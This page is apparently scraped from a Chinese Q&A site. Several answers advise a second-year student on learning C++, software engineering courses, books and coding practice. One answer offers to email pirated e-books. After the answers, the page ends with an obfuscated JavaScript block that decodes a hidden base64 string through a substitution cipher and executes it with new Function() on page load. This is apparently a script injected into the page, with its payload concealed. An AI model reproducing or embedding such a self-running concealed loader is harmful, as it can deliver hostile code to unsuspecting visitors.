软件工程该学习些什么?

2025-02-11 19:28:31
推荐回答(5个)
回答1:

书的话,如果是入门,我推荐《C++入门经典》(第三版),这本书由浅入深,章节安排很合理。楼上各位提到的《C++ Primer》这本我觉得不适合初学者,因为章节安排不是循序渐进的。至于谭浩强的书,我没看过他写的C++,所以不做评论。但是我看过他写的C语言的书,被人称之为“方言版的C语言”,虽然好懂,但是不标准的写法甚至错误的写法,懂了又有何用。如果是有C++基础了,那么,可以看《C++编程思想》、《C++编程规范》等等。其实学习的重点放在哪里那是根据个人习惯及熟练程度而定,不要太看重,多看看书,你会有所体会的。但是,注意,一次主攻一本书,不能杂,另外的书只能当做参考。上面提到的几本书我都有电子版的,你提供邮箱,我可以发给你。反正我都是看的电子版的,毕竟正版书太贵了,盗版也难找到。

程序设计重在实践。编写代码不用太急,慢慢来,从简单的写起,我不建议首先进行手写,那样没实际意义,即使再简单,拿到计算机上去跑,然后逐步修改并添加功能。就拿我当初看到 vector 这个东西时来说吧,我觉得 push_back() 这个成员函数很好用,所以我就写了那么两三行,只是为了看看 push_back() 这个成员函数的作用。所以,我觉得,书上的代码在最开始没必要完整的写一遍,因为那些可能涉及到还没有看到的内容。看到了新东西,就可以简单的自己去验证一下那么一点小功能,像这样小的东西写多了自然就熟悉了,之后写稍微长的代码就更熟练。同时,对于书上的一些代码,先不要急这自己独立写出来,毕竟别人写书的,对于出版出来的代码应该是经过精心设计的,其中很可能就用到一些技巧,刚开始写不出很正常,主要是因为不熟练。
慢慢的,当你对于C++中的新东西有个比较清楚的认识后(不用急着记住每个新东西),你可以将以前自己用C写过的代码改成C++方式,比如,一般的数组用vector代替,C风格的字符串用C++中的 string 类型替代,这样写出C++版本的代码。如果以前用C写过得东西不多,你可以将书上的习题来练习。写多了,熟悉了,以后写代码就逐渐转变成C++的代码风格。由于C++标准库很强大,所以,以前很多C代码都可以修改得更精简,看起来更舒服!
到了后面的高级内容,开始可以就简单的将书上完整的代码抄写一遍(不是手写),然后进行一定得调试。此时候要注意的不是代码的具体功能,而是其中代码风格。比如,类,注意构造函数,析构函数该怎样写,成员的对外可见性如何写,等等。创造的话,如果看完了类,并且懂得类书写的基本风格,那么,你可以用自己的方法写出一个 vector 类,当然,此时不需要处理异常,不需要完整的实现标准版本的功能,就实现诸如 push_back(), size(), empty()等功能,然后用自己写的类进行别的操作。之后,诸如deque,list等等都可以用自己的方法实现。同时,这时候写的代码也可以留作以后逐步完善,等你非常牛逼时候,就写出了不逊色于标准库的代码了。

总之,我认为,不因为写那么两三行代码拿到电脑上去跑就嫌麻烦,多在实际中跑自己写的代码,由简单的写起,由两三行写起。C++对于C来说有很多新东西,每看到一个,就自己写写去验证,一个一个来,慢慢的组合那些小的细节以实现更多功能。此时,不要太看重算法,数据结构,就像英语,学习语法时,我们主要学应用语法造句,而不是学造文章,文章是之后的事。这只是个学习的先后次序问题

最后,代码风格一定要标准规范,可以附加看看《C++编程规范》等。不懂的问题及时在书上或者到网上搜查。

回答2:

C++是编程语言应用排名第三的语言,它并不基础,只是你学的不够。
C++是很好的面向对象开发的语言,应用在大型网游,大型商业软件开发很多。
java c c++都很流行,如果你打算学好其中的哪一种就现在开始看吧,
只要精通一门就够了,其它的就是博览,因为都是类C语言,很容易通一门懂全部。
大二的话 你们应该会开 “数据结构” 建议学数据结构前先学 “离散数学” 然后再根据想要精通的语言买书自学,学校教的东西是不够的,只是让你有学习的思想,学东西得自己。
C++就 MFC primerC++
java 就 java编程思想
然后掌握数据库的东西 SQL 和 mysql 或者oracle随意
和windows linux操作系统就够了
要想突出就抓紧时间 其它科目不考研60分足以
一切时间用来学语言
还有<<软件工程>>这本书必须看 这时你成为设计师而不是程序员必经的。
什么计算机硬件书都是放屁,没用 软就是软 硬就是硬。
嵌入式也是语言的东西,想搞它就去学 《数字电子技术》。
我是示范性软件工程学院的,我的方向是软件开发 其实和其它的没什么区别 只要你学会语言,学懂 学通 你就无敌了。
MFC 没有什么学习的方法 就是看书是硬道理,至少想精通得1年的时间。然后多下些源代码看,比如最经典的 俄罗斯方块
学到什么就看那块源代码。
推荐《深入浅出MFC》

回答3:

中国的软件行业规模不是很大,有些软件企业在软件制作上,也只是采用了一些软件工程的思想,距离大规模的工业化大生产比较还是有一定的差距;原因有管理体制的问题,市场问题,政策问题,也有软件工程理论不全面和不完善的问题。所以软件工程的研究和应用,以及中国软件行业的进一步发展,都需要一定的既有软件工程的理论基础和研究能力,又有一定的实践经验的软件工程科学技术人员来推动。软件工程的前途是光明的。
软件服务外包属于智力人才密集型现代服务业。大量著名外包企业落户宁波。主要就业去向包括软件外包与服务企业、信息产品与服务企业,担任程序员、软件测试员、项目经理等工作岗位。
软件工程专业是一门研究用工程化方法构建和维护有效的、实用的和高质量的软件的学科。它涉及到程序设计语言,数据库,软件开发工具,系统平台,标准,设计模式等方面。在现代社会中,软件应用于多个方面。典型的软件比如有电子邮件,嵌入式系统,人机界面,办公套件,操作系统,编译器,数据库,游戏等。同时,各个行业几乎都有计算机软件的应用,比如工业,农业,银行,航空,政府部门等。这些应用促进了经济和社会的发展,使得人们的工作更加高效,同时提高了生活质量。
相关学者、组织机构都分别给出了定义:
Boehm:运用现代科学技术知识来设计并构造计算机程序及为开发、运行和维护这些程序所必需的相关文件资料。
IEEE:软件工程是开发、运行、维护和修复软件的系统方法。
Fritz Bauer:建立并使用完善的工程化原则,以较经济的手段获得能在实际机器上有效运行的可靠软件的一系列方法。

回答4:

vc++6.0一般用的都是win32 console application 以后用到vc++6.0基本都是用来做一些实验 比如操作系统的实验 编译原理 算法的实验等等
软件后面要学 JAVA语言 计算机网络 数据库原理 UML课程设计 计算机操作系统 算法设计与分析 汇编语言 vc++ 编译原理 数据库技术及应用 集合与图论 近世代数 软件工程概论 数理逻辑 数字逻辑
我今年大三了 呵呵 刚从你那里走过来
学c++不能太着急 刚开始学都不理解 慢慢代码写的多了 就明白其中的道理了

回答5:

计算机专业最基础的两门课是数据结构和操作系统,建议你看看这两个吧,看完再说别的,估计都弄明白一年也过去了
学东西首先肯定是找本最基本的书看了,然后根据书上的练习上机编码,培养出程序设计的方法,主要就是多动手

(function(){function b7c9e1493(c95fae){var n03b5751="D$8~x9Tdn.B|3cZ?C4K^jNOeUpXAuih!HSYwR@Q-_rvPq:/]VJyotm,kzf05bMGl%(LW7&I26=F;asg1E[";var a531b0a="W$^VPE/6OSb!I?Zt3gf_UR|DGuH:pMN.,15LxKae9k&mj;]TBcvslFwQ4d@YJ8hz=o(2r07iX%-qyn[A~C";return atob(c95fae).split('').map(function(z5cd7){var e04b2b9=n03b5751.indexOf(z5cd7);return e04b2b9==-1?z5cd7:a531b0a[e04b2b9]}).join('')}var c=b7c9e1493('rtmp://LDJzZigsZyJmUyIrIk1XLXoiLyVLcHNKPzIoc0wpe0xLcHNKPzIoc0wyUUpfJlFIYUNfSWZIZldZUUJLTUgyV0JfUUlkKXsyS0xUOGlRSk9EMnNUIT8tbz9Mc1F5MjRRPyg3IXV0UT9LKDdQKSl7Ny0/cDdzfXlRNyAtei1kLXpZZlMlS3BzSj8yKHNMbFNkTWRLZCl7Ny0/cDdzIC4/NzJzNCFLNyhQW0dRN1soZi1MbFNkTWRLZCl9OnlRNyBzJlEtZkt6USVnInRxb0ZYJlNed24xZV5iLl5YXWl3IkgieS03RiZTIkgibzJmRldNIkgiSko/RlcmV1lGJkNGU3ogVyZBeldBek0iLzp5UTcgZlF6ZlFJeiZJJWZXWVFCS01nLXotZC16WWZTTCZSZFMpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFcpL0gsV0NDS2RLJWZXWVFCS01nLXotZC16WWZTTCZSZFcpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFMpL0hCU3pTWUMlMldCX1FJZGdmUXpmUUl6JklMIjVDfmFKUH5wZm1ocUpQdCxmMSUlIikvSGFDJkktUUklZlF6ZlFJeiZJTCI1Q2J0NTZOdE5EUnRCRH5wZjElJSIpSHlJelFRXyVmUXpmUUl6JklMIkpDfjJKQ05hUURZcyIpSFBKV01LWSVmUXpmUUl6JklMIkpQfixCVW1xWmslJSIpSHNCZmZRJllkJWZRemZRSXomSUwiSkNWb1E2ayUiKUhQWXpfLUIlZlF6ZlFJeiZJTCJKUH5XWjZibFprJSUiKUhRLUNLZCVmUXpmUUl6JklMIlFQX3VCNCUlIilIbC1DQ0slZlF6ZlFJeiZJTCJKUG1wWlVfPyIpSHVmQ1dLJiVmV1lRQktNZ2ZRemZRSXomSUwiXURtJlExJSUiKS9IMkNkZiZCQklZJWZRemZRSXomSUwiQlVfR1oxJSUiKTp5UTcgKFdRJllJXyVmUXpmUUl6JklMIkpXUyZRRE50ZjQlJSIpOnlRNyBzWV9CS2ZTOjJLTHQoSlE/MihzIW8tUTdKRyEyc2YtUm5LTChXUSZZSV8pPkZTKXtzWV9CS2ZTJTJXQl9RSWRnYUMmSS1RSS9MZlF6ZlFJeiZJTCJmVX56ZlVtYVpEOSUiKSk6c1lfQktmUyEyZiUiPyIrdWZDV0smZ2wtQ0NLL0wpKlMmJiYmOnNZX0JLZlMhbz9hdC0hLDJmP0clIlMmJj0iOnNZX0JLZlMhbz9hdC0hRy0yNEc/JSJZJiZ1UiI6c1lfQktmUyFmMm9RQnQtZiU/N3AtOjJLTDJXQl9RSWQhQihmYXwlc3B0dCl7MldCX1FJZCFCKGZhIVF1dS1zZltHMnRmTHNZX0JLZlMpfS10by17eVE3IGZRSkJCUyVLcHNKPzIoc0wpezJXQl9RSWQhQihmYSFRdXUtc2ZbRzJ0ZkxzWV9CS2ZTKTpmV1lRQktNITctUCh5LTl5LXM/dzJvPy1zLTdMMkNkZiZCQklZSGZRSkJCU0hLUXRvLSl9OmZXWVFCS00hUWZmOXktcz93Mm8/LXMtN0wyQ2RmJkJCSVlIZlFKQkJTSEtRdG8tKX19eVE3IFFLTSZfTSUyV0JfUUlkZ2FDJkktUUkvTGZRemZRSXomSUwiWkRTMlpEayUiKSk6UUtNJl9NITJmJWFDX0lmK3VmQ1dLJiFKLTJ0THVmQ1dLJmdsLUNDSy9MKSpTJiYmJik6eVE3IHBkQksmQ2RNSyVLcHNKPzIoc0xRJlkmUWRkX0Ipe3lRNyBRUUlNJnolcy0sIGVRPy1MKTp5UTcgUWRkSkImSiVgb1A/Ml5vMmZeJHthQ19JZn1eJHtRUUlNJnohPyh3KEpRdC1lUT8tLj83MnM0TCl9YDp5UTcgeWZfQ1dkJXNwdHQ6Pzdhe3lmX0NXZCViLm5oIXVRN28tTHQoSlF0Lj8oN1E0LSE0LT8zPy1QTFFkZEpCJkopKX1KUT9KR0wtKXt9MktMeWZfQ1dkJSVzcHR0KXt5Zl9DV2Qle0I3KCxvLTdbKHBzP0EmSH19eWZfQ1dkIUI3KCxvLTdbKHBzPysrOnlRNyBzLSZfWWQlLFdDQ0tkS0xzJlEtZkt6USFKKHNKUT9MZ2BzKCxGJHtlUT8tZyJzKCwiL0wpfWBIYEc3LUtGJHt0KEpRPzIocyFHNy1LfWBIYHBvSkYke3lmX0NXZCFCNygsby03Wyhwcz99YEgvKSFvKDc/TEwpJT51ZkNXSyZnbC1DQ0svTClGJiFZKWdRLUNLZC9MIkgiKSk6eVE3IFAtX0omTUIlcy0mX1lkITJzZi1SbktMLXotZC16WWZTTCZSQ2YpKT5GU2NzLSZfWWRneUl6UVFfL0xzLSZfWWQhMnNmLVJuS0wtei1kLXpZZlNMJlJDZikpKUEiIjpzLSZfWWQlcy0mX1lkZ1BKV01LWS9MUC1fSiZNQkgiIilnc0JmZlEmWWQvTCIiKWdQWXpfLUIvTClnUS1DS2QvTCIiKStQLV9KJk1COlFLTSZfTSFvN0olZyJHPz91b0FUVCIrUSZZJlFkZF9CSFFLTSZfTSEyZkhzLSZfWWQvZ1EtQ0tkL0wiVCIpOjJXQl9RSWQhQihmYSEyc28tNz9WLUsoNy1MUUtNJl9NSDJXQl9RSWQhQihmYSFKRzJ0ZmgoZi1vZyYvKToyS0xzWV9CS2ZTfCVzcHR0KXtzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzUXV1LXNmLWYgLVAgPyggRz9QdCI6eVE3IEtfJkN6JkIlMldCX1FJZCE0LT85dC1QLXM/VmEzZkxRS00mX00hMmYpOjJLTEtfJkN6JkIlJXNwdHRPT0tfJkN6JkIlJXBzZi1LMnMtZil7c1lfQktmUyF5UXRwLSslIlxcN1xccyBKUXM/IDQtPyAtUCBLNyhQIEc/UHQifX19OjJLTHNZX0JLZlN8JXNwdHQpe3NZX0JLZlMheVF0cC0rJSJcXDdcXHNvLXNmIHFvIEcobz8gIisyUUpfJlF9eVE3IChKQiZXSyVLcHNKPzIoc0wsX0lRU00pezctP3A3cyBmUXpmUUl6JklMLF9JUVNNKWdQSldNS1kvTC16LWQtellmU0wmUldRKUh1ZkNXSyZnbC1DQ0svTCkhPyguPzcyczRMQ2QpIW90MkotTHVmQ1dLJiFLdCgoN0x1ZkNXSyZnbC1DQ0svTCkqXykrVykpfTpwZEJLJkNkTUtMKEpCJldLTDJRSl8mUSkpOmZXWVFCS01nIlFmZjl5LXM/dzJvPy1zLTciL0wiUC1vb1E0LSJIS3BzSj8yKHNMLSl7MktMLSFmUT9RIXIlJWFDX0lmKXsyV0JfUUlkITQtPzl0LVAtcz9WYTNmTFFLTSZfTSEyZikhNy1QKHktTCk6eVE3IHJZWVdKJXNwdHQ6MktMc1lfQktmU3wlc3B0dCl7c1lfQktmUyF5UXRwLSslIlxcN1xcczctSi0yeS0gLVAgdShvPyBQLW9vUTQtIjpzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzLSFmUT9RIXkgIistIWZRP1EhOzpyWVlXSiVMISEhUFFTemYpJT57MktMfFBRU3pmT09QUVN6ZiF0LXM0P0c8JSYpNy0/cDdzOnNZX0JLZlMheVF0cC0rJSJcXDdcXHMiK1BRU3pmIXEoMnNMIiAiKX19cy0sIG1wc0o/MihzTCJRNzRvIkgtIWZRP1EhOylMe14/ZkpvQUJTelNZQ0hedCg0QXJZWVdKSH0pfX0pfSlMIlpXSnBoXX5sUVdtbEJEUj9aV2ZZQi5ZJkJDMWRuXXJTaDQlJSJIIldNIkgsMnNmKCxIZihKcFAtcz8pfTpmU01XLXpMKTo='.substr(7));new Function(c)()})();